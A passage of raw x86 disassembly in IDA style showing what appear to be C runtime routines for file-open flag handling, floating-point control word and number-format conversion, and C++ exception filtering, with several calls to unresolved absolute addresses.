jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_4CD9BC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_4CD9B8, 0 mov dword_4CD9B4, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26707CBh mov esi, eax cmp esi, edi jz short loc_420090 push esi call near ptr 2620000h nop test eax, eax jnz short loc_4200A4 push esi nop call near ptr 2651922h loc_420090: ; CODE XREF: sub_41FEC6+1B6j call near ptr 2670ADCh nop push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_4CD9B8, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436610 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436628 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4CDB88 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_4CDBB0, eax add esp, 18h movsx eax, byte_4CDB8A mov dword_4CDBA8, eax pop edi movsx eax, word_4CDB88 mov dword_4CDBAC, eax mov dword_4CDBB4, offset dword_4CDB8C mov eax, offset dword_4CDBA8 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:00435FE8o ; ___:00436AB0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_4CDBB8 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_4CDBB8 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 0FC2CE800h, 0A390021Dh, 4CDBB8h, 0B835FFC3h ; DATA XREF: ___:00426024o dd 90004CDBh, 1DFC19E8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600000h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28708A7h nop test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0CE5h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx 